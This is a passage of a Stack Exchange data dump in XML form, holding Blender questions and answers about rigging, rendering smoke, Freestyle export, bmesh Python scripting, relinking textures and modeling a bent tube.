LastActivityDate="2015-05-11T01:08:47.923" Title="making a ball roll with drivers" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30575" PostTypeId="1" CreationDate="2015-05-07T21:05:23.083" Score="1" ViewCount="912" Body="&lt;p&gt;When I click with the left mouse button, a white and red circular scope-target-looking-pointer moves to the location of the click. I can't make any sense of it and would like to find it in the manual. What is it called?&lt;/p&gt;&#xA;" OwnerUserId="14220" LastEditorUserId="12" LastEditDate="2015-05-09T09:10:55.530" LastActivityDate="2015-05-09T09:10:55.530" Title="What is the red and white circle that appears when I left click?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-05-07T22:35:53.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="30576" PostTypeId="1" CreationDate="2015-05-07T21:38:48.677" Score="1" ViewCount="31" Body="&lt;p&gt;I have an empty that is alwas at the center of the screen (on an object). If you do not understand that, look at my previous questions relating to it. My ray that goes from the camera to whatever object in the center of the screen is having an issue. It only works up and down and not left and right. I tried changing the axis on which it points at and then works left and right in addition to up and down. I am just asking the following: does axis have any other side effects other than the way it points? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-05-08T17:02:13.383" LastActivityDate="2015-05-08T17:02:13.383" Title="Ray only works up and down and not left and right?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30577" PostTypeId="2" ParentId="30534" CreationDate="2015-05-07T21:45:57.603" Score="3" Body="&lt;p&gt;Ok, it was a pretty basic stuff after all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following scenario: with vertex groups named after the bones, select the vertex bone of the upper arm, in my case &quot;arm1.L&quot;, paint the weights. Now duplicate the vertex group. Rename the duplicated vertex group after the shoulder bone, in my case &quot;shoulder.L&quot;. Now, in the left panel, below Weight Tools, there is a button that says &quot;Invert&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the &quot;shoulder.L&quot; group already exists, like in my case, the only way is to delete it first as I could not find a way to transfer the weights between groups other than duplicating a group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xzQKc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bqilu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1056" LastActivityDate="2015-05-07T21:45:57.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30579" PostTypeId="1" AcceptedAnswerId="30694" CreationDate="2015-05-07T22:23:07.613" Score="8" ViewCount="15311" Body="&lt;p&gt;I am trying to add smoke to a cigarette. I've created a Cylinder, hit space and chose quick smoke while this sphere was selected. It created a transparent bigger sphere and it is emitting smoke in solid and texture mode. But when I try it out in render mode, it won't show the smoke for some reason. Here is my setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6eoL.png&quot; alt=&quot;pictures&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cylinder has a basic white material.&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14053" LastActivityDate="2016-10-27T14:34:28.397" Title="Blender Cycles smoke won't render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30581" PostTypeId="2" ParentId="15355" CreationDate="2015-05-07T22:50:10.227" Score="15" Body="&lt;h1&gt;Documentation&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blender.org/manual/&quot; rel=&quot;noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/&quot; rel=&quot;noreferrer&quot;&gt;Blender Wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;noreferrer&quot;&gt;Python API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-21T16:10:17.407" CommentCount="0" CommunityOwnedDate="2015-05-07T22:50:10.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="30582" PostTypeId="1" AcceptedAnswerId="30595" CreationDate="2015-05-07T23:19:43.223" Score="5" ViewCount="1823" Body="&lt;p&gt;I want to get the last selected vertex. I tried with &lt;code&gt;bm.select_history.active&lt;/code&gt; but this don't work.&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="2217" LastEditDate="2015-05-08T00:00:48.577" LastActivityDate="2015-10-19T10:57:04.410" Title="Get active vertex through python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30583" PostTypeId="1" CreationDate="2015-05-08T00:31:24.660" Score="3" ViewCount="623" Body="&lt;p&gt;I'm using Freestyle in Blender to export a drawing to an SVG file. The file can be found here: &lt;a href=&quot;http://www.speedyshare.com/dxsfw/box.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.speedyshare.com/dxsfw/box.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When rendered as a png it looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vSUXN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was interested in rendering only the &quot;net&quot; mesh and so isolated that in a group and rendered only that as an SVG. When opening it in Inkscape the resultant SVG had over 4000 objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T3U7C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that I can get the vector to render solid, smooth lines? I understand that there still may be breaks, but can this be smoother/more solid?&lt;/p&gt;&#xA;" OwnerUserId="3241" LastActivityDate="2015-05-08T00:31:24.660" Title="Export smooth SVG using Freestyle" Tags="&lt;export&gt;&lt;freestyle&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30584" PostTypeId="1" CreationDate="2015-05-08T01:26:16.673" Score="1" ViewCount="368" Body="&lt;p&gt;I want to make an object be affected by specific light sources. How can I make that happen? From what I've read, older Blender versions have it laid out in the Materials and Render Layers tabs.&lt;/p&gt;&#xA;" OwnerUserId="14223" LastActivityDate="2015-05-08T01:26:16.673" Title="Light Groups in v2.73" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30586" PostTypeId="1" CreationDate="2015-05-08T02:10:41.880" Score="2" ViewCount="385" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oc2Py.jpg&quot; alt=&quot;road in wireframe&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AE5pF.jpg&quot; alt=&quot;road showing the bumpy problem&quot;&gt;&#xA;The mesh itself is straight, but when viewed in texture mode it looks quite bumpy (renders this particular area in game as very bumpy and undrivable).&lt;br&gt;&#xA;How do I fix this?&#xA;Note: array and curve modifiers used on mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set 2:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eBi4r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/63twJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, it renders as the bumpy road, not the smooth wireframe, and thus it is undriveable in-game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-------------UPDATE-----------------------------------------------------------------------------------------------------------&#xA;I have found somewhat a solution to this (in Nurbs curve data), it involves changing the twisting From Z-up to minimal or tangent, then playing with the resolution and turn on bounds-clamp (for mesh to hug the wireframe). It is not a perfect solution because now I need to re-do all control point tilts and locations for this 9km track. If anyone has a better solution, please share.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h0kAt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2: Even with twisting to minimal or even tangent, still getting weird artifacts in road mesh. Problem persists.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8edsJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YRzwH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13454" LastEditorUserId="5426" LastEditDate="2015-05-08T11:37:25.363" LastActivityDate="2015-06-10T14:24:05.660" Title="Mesh appears smooth, however it is not?" Tags="&lt;mesh&gt;&lt;game-engine&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30587" PostTypeId="1" AcceptedAnswerId="144541" CreationDate="2015-05-08T03:14:13.380" Score="1" ViewCount="342" Body="&lt;p&gt;I apologize if the question isn't very specific; I can't think of any other way to word it.&#xA;I'm looking to make Minecraft animations with Blender. One of the big obstacles I've run into is the proportions.&#xA;Say, how can I make a Minecraft character the right size to fit with the Minecraft build I have in an obj? This doubles for other entities, such as a creeper, a pig, etc.&#xA;I've looked up tutorials on &quot;How to make a Minecraft animation with Blender,&quot; but they all (by &quot;They all,&quot; I mean all the ones I've seen) tell you to download a starter .obj, which I really don't want to do.&#xA;I love being able to create anything and everything in Blender from scratch, but if I use a starter .obj, that ability isn't there at the point I'd like it to be at.&#xA;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="13935" LastActivityDate="2019-07-05T07:09:18.717" Title="Creating correct proportions for Minecraft projects" Tags="&lt;modeling&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30588" PostTypeId="1" CreationDate="2015-05-08T05:12:07.400" Score="3" ViewCount="168" Body="&lt;p&gt;So I have a simple asteroid model I'm trying to fracture with cell fracture, see here:&lt;img src=&quot;https://i.stack.imgur.com/BzUtM.jpg&quot; alt=&quot;pre-fracture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I do a cell fracture (default settings), the result looks like this:&lt;img src=&quot;https://i.stack.imgur.com/BThN9.jpg&quot; alt=&quot;post-fracture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not always! I've gotten it to work twice before, but I have no idea why it worked then and not any other times. Am I missing something obvious? I've spent a couple of days trying to solve this, and I can't find any other threads about it, so I'm totally at a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets come from Unity's SpaceShooter demo.&lt;/p&gt;&#xA;" OwnerUserId="14225" LastActivityDate="2015-05-08T05:12:07.400" Title="Cell fracture makes textures low res" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30589" PostTypeId="1" CreationDate="2015-05-08T05:13:08.523" Score="2" ViewCount="2889" Body="&lt;p&gt;I'm setting up model bases and don't want to do all the shape keys all over again. I have them all done for the female base and want to copy them over to the male base. They have pretty similar vertex structures, but are in different .blend files. Is there any way to copy them over? Or do I have to make them again?&lt;/p&gt;&#xA;" OwnerUserId="10948" LastActivityDate="2015-05-08T05:13:08.523" Title="Can I copy shape keys from one model to another in separate files?" Tags="&lt;modeling&gt;&lt;rigging&gt;&lt;shape-keys&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30592" PostTypeId="1" CreationDate="2015-05-08T07:25:45.193" Score="0" ViewCount="90" Body="&lt;p&gt;The AutoCAD file when Imported to Blender in .DXF is not workable in terms that when zoomed in does not zoom out. The scale of the imported file is also not clear and all that can be done is change the scale of the Software.  We are trying to work out an architectural building which requires details to be sorted and is very difficult to do as we cant see the whole file.&lt;/p&gt;&#xA;" OwnerUserId="14155" LastActivityDate="2015-05-08T07:25:45.193" Title="Problem faced while import and export" Tags="&lt;export&gt;&lt;import&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30593" PostTypeId="2" ParentId="30571" CreationDate="2015-05-08T07:33:08.110" Score="3" Body="&lt;p&gt;You can use an armature to deform a sub-divided plane.  Select the plane and &lt;kbd&gt;shift&lt;/kbd&gt; select the Armature to make it the primary selection with the plane as the secondary selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;p&lt;/kbd&gt; to parent the plane to the armature.  I selected Armature Deform with Automatic Weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkx3Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a color picker available to select colors from other areas visible in the UI.&lt;br&gt;&#xA;If you hover over the color field of a node and press the &lt;kbd&gt;e&lt;/kbd&gt; key you can then click on an image that has has been drag 'n dropped into the UV Image Editor.  Now you can pick the various colors of the image to use for the Material and Sky colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VlkN3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Freestyle to add the edge highlighting.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup is shown in the following two images.&lt;br&gt;&#xA;(i)Activate Freestyle in the Render tab&#xA;(ii)Add a Lineset&#xA;(iii)Change the color to match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color of the paper is multiplied by 3.0 to brighten it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c3Dlq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QVXj8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the exact shape of the reference image, you can try a more detailed Armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to add a sphere and use the Snap tool(magnet icon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snapping activates when you select one or more vertices and press &lt;kbd&gt;g&lt;/kbd&gt; and then &lt;kbd&gt;enter&lt;/kbd&gt; to set the movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T3NBD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L4QVS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-08T11:44:00.440" LastActivityDate="2015-05-08T11:44:00.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30594" PostTypeId="2" ParentId="30553" CreationDate="2015-05-08T07:42:12.600" Score="1" Body="&lt;p&gt;I guess a part of the right side leg is influenced by the left side leg bones, you need to clear their influence in the weight paint mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;select your right side leg (in object mode) then go in the weight paint mode (&lt;strong&gt;ctrl+tab&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p9G6f.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;right click on each bone to see it's influence on your object, when you click the left side leg bones you will see they are affecting the wrong object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now you can fix that, hit &lt;strong&gt;t&lt;/strong&gt; to show your brush tools, then select &lt;strong&gt;subtract&lt;/strong&gt; in the blend drop menu, then paint your object to clear any influence of the left leg bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blue color means that the selected bone has no influence on the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8gbK2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12966" LastActivityDate="2015-05-08T07:42:12.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30595" PostTypeId="2" ParentId="30582" CreationDate="2015-05-08T08:13:39.187" Score="6" Body="&lt;p&gt;You can walk the select history in reverse and find the first BMVert:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;ob = bpy.context.object&#xA;me = ob.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;for elem in reversed(bm.select_history):&#xA;    if isinstance(elem, bmesh.types.BMVert):&#xA;        print(&quot;Active vertex:&quot;, elem)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;select_history&lt;/code&gt; does not support selection operators like box and lasso select. They don't make a geometry element active, nor do they add to the history at all.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-05-08T08:13:39.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30597" PostTypeId="1" AcceptedAnswerId="30702" CreationDate="2015-05-08T10:05:30.830" Score="3" ViewCount="477" Body="&lt;p&gt;I've been working on python Curve Deformation tool. I need some help with the math. Possibly someone can help here. I cannot find correct UpVec for my custom curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the screens which explain the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pj8ux.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JdWic.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my tool in action:&#xA;&lt;a href=&quot;https://youtu.be/Nxu6-0xm3Io&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/Nxu6-0xm3Io&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I did but it's buggy in some angles. It inverts to 180 degrees on some angles:&#xA;&lt;a href=&quot;https://github.com/mifth/mifthtools/blob/96e73eb3a2613b3f1396ddd7c4bdd9d0419ca5e3/blender/addons/mira_tools/mi_curve_guide.py#L515-L537&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mifth/mifthtools/blob/96e73eb3a2613b3f1396ddd7c4bdd9d0419ca5e3/blender/addons/mira_tools/mi_curve_guide.py#L515-L537&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I do is just cross direction of the point to global X and Y axis. Any help will be appreciated to get the quality of upVec as in Blender Curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can get the tool here: &#xA;&lt;a href=&quot;https://github.com/mifth/mifthtools&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mifth/mifthtools&lt;/a&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?366107-MiraTools&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?366107-MiraTools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="241" LastEditDate="2015-05-08T13:03:30.873" LastActivityDate="2015-05-13T08:18:01.460" Title="Python: Up-Vector math for Curve" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30598" PostTypeId="2" ParentId="28793" CreationDate="2015-05-08T10:42:31.117" Score="5" Body="&lt;p&gt;It's possible to &lt;strong&gt;check the vertices of both meshes&lt;/strong&gt; via &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Mesh.html?highlight=unit_test_compare#bpy.types.Mesh.unit_test_compare&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;unit_test_compare&lt;/strong&gt;&lt;/a&gt; for a first quick test:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;first_obj = bpy.data.objects['Cube']&#xA;first_obj_mesh = first_obj.data&#xA;&#xA;second_obj = bpy.data.objects['Suzanne']&#xA;second_obj_mesh = second_obj.data&#xA;&#xA;print(first_obj_mesh.unit_test_compare(second_obj_mesh))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Console Output: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Number of verts don't match&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For &lt;em&gt;Linked Duplicates&lt;/em&gt; iterate through the mesh objects in the scene and check if &lt;strong&gt;mesh data block is associated with multiple objects&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects['Cube']&#xA;obj_mesh = obj.data&#xA;&#xA;mesh_dict = {}&#xA;for i in bpy.data.objects:&#xA;    if i.type == 'MESH':&#xA;        mesh_dict.setdefault(i.data, []).append(i)&#xA;&#xA;print(mesh_dict[obj_mesh])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Of course, it's always possible to compare the geometry, even if it would take long time for calculation and a bit of math, depending on your requirements.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2015-05-08T10:42:31.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30599" PostTypeId="1" AcceptedAnswerId="30628" CreationDate="2015-05-08T11:30:30.977" Score="1" ViewCount="739" Body="&lt;p&gt;While working on a blender scene i have to move it from a usual place on hard drive to a different location. After i made some changes in scene and brought it back to its usual place all texture files are pointing in the wrong directory and are missing. There are hundreds textures in the scene and i cant reassign them by hand, it there a way to make all nodes that reffer to textures to look for them in a different directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i have now is:&#xA;Blender looking for hundreds of textures in: wrong_folder/no_textures/&#xA;But i want them to look for textures in: right_folder/textures/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like that.&lt;/p&gt;&#xA;" OwnerUserId="12973" LastActivityDate="2015-05-08T21:05:20.200" Title="How to mass refresh textures and say blender to look for them at different location" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30600" PostTypeId="1" CreationDate="2015-05-08T11:36:08.093" Score="4" ViewCount="667" Body="&lt;p&gt;I want to implement a new BRDF in Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried to code an OSL node but I couldn't because the way that BRDF closures are implemented in OSL seem to only permit BRDF closure composition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to now the standard (simplest) protocole to add a new BRDF closure in Cycles.&#xA;I've already had my own blender build so I can modify the source code if there isn't another solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : Or maybe, somebody eventually know where I can ask to get the answer ?&lt;/p&gt;&#xA;" OwnerUserId="14230" LastEditorUserId="599" LastEditDate="2015-05-11T08:38:33.373" LastActivityDate="2015-05-11T08:38:33.373" Title="How to implement a new BRDF in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;osl&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30604" PostTypeId="1" CreationDate="2015-05-08T12:46:05.643" Score="14" ViewCount="1070" Body="&lt;p&gt;I am trying to make a clear tube in Blender and have a water simulation run through it. I made the tube out of a Bezier curve and a circle, then extruded the original until I had the shape and length I wanted. However, when I tried to make the tube thicker I had trouble with odd geometries/material showing up inside the tube at the corners, even in the finished render. Anyone have any tips on how to get rid of them? Please keep in mind I am a bit new to Blender. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/xhvO6.png&quot; alt=&quot;A view of the inside of the tube&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14232" LastEditorUserId="14232" LastEditDate="2015-05-08T12:51:07.650" LastActivityDate="2015-05-08T18:31:16.693" Title="How do I get rid of unwanted corners inside a bent tube?" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;transparency&gt;&lt;fluid-simulation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30605" PostTypeId="1" CreationDate="2015-05-08T13:40:21.040" Score="2" ViewCount="550" Body="&lt;p&gt;I'm trying to do a project with freestyle cartoon style.&#xA;I have two characters, one large and one small, both quite detailed. When I render separately I have no problem, but when I put the two together the small loses much of its details. Freestyle lines become too thick to the model and lose a lot of detail. The problem, I think, is bring in / out the camera to frame the two characters in the picture.&#xA;Is there any way around this?&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u31JW.jpg&quot; alt=&quot;Smal Character&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QtL4L.jpg&quot; alt=&quot;Big and Small character&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14234" LastActivityDate="2015-05-08T13:40:21.040" Title="How to keep the details and line thickness in freestyle despite the movement of the camera?" Tags="&lt;freestyle&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30606" PostTypeId="1" AcceptedAnswerId="30611" CreationDate="2015-05-08T13:49:47.930" Score="3" ViewCount="1156" Body="&lt;p&gt;I'm a bit stuck in my animation project. I'm trying to set multiple pivot points to several object and animate the object depending on each pivot point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my mesh. At the moment I have 4 Plain Axes that I want to act as pivot point for my object. But when I use an Object Constraint, it rotates around each object axe, not the Plain Axes center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ypuMn.png&quot; alt=&quot;Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the animation I'm trying to achieve. &#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=e2j-jb8c5bE&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=e2j-jb8c5bE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14235" LastEditorUserId="2217" LastEditDate="2015-05-08T14:06:54.690" LastActivityDate="2015-05-09T21:57:07.873" Title="Set various rotation points for multiple object" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30608" PostTypeId="2" ParentId="30604" CreationDate="2015-05-08T14:49:08.483" Score="8" Body="&lt;p&gt;I think using the &lt;em&gt;Bezier Curve&lt;/em&gt; is not a good idea in this case. It is not a precise method (plus you may have a very dense geometry after converting the curve to mesh). The picture below shows the tube that I've modeled using modeling tools. I'll show you how to do it.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9TZBT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;em&gt;Cylinder&lt;/em&gt; and place the cursor as pictured below (select the vertex, then &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;---&gt;&lt;em&gt;Snap&lt;/em&gt;---&gt;&lt;em&gt;Cursor to Selected&lt;/em&gt;). Now select all the vertices which form the base of the cylinder. Hit &lt;kbd&gt;E&lt;/kbd&gt;, then &lt;kbd&gt;RMB&lt;/kbd&gt; (or &lt;kbd&gt;Esc&lt;/kbd&gt;).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gMhdm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a &lt;strong&gt;&lt;em&gt;Spin&lt;/em&gt;&lt;/strong&gt; button located in a &lt;em&gt;Mesh Tools&lt;/em&gt; panel and set the proper &lt;em&gt;Angle&lt;/em&gt; value, depending on your situation. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/1yN82.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reduce the &lt;em&gt;Steps&lt;/em&gt; number. Change the &lt;em&gt;Center&lt;/em&gt; value to make the bend more smooth.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s9wKm.jpg&quot; alt=&quot;enter image description 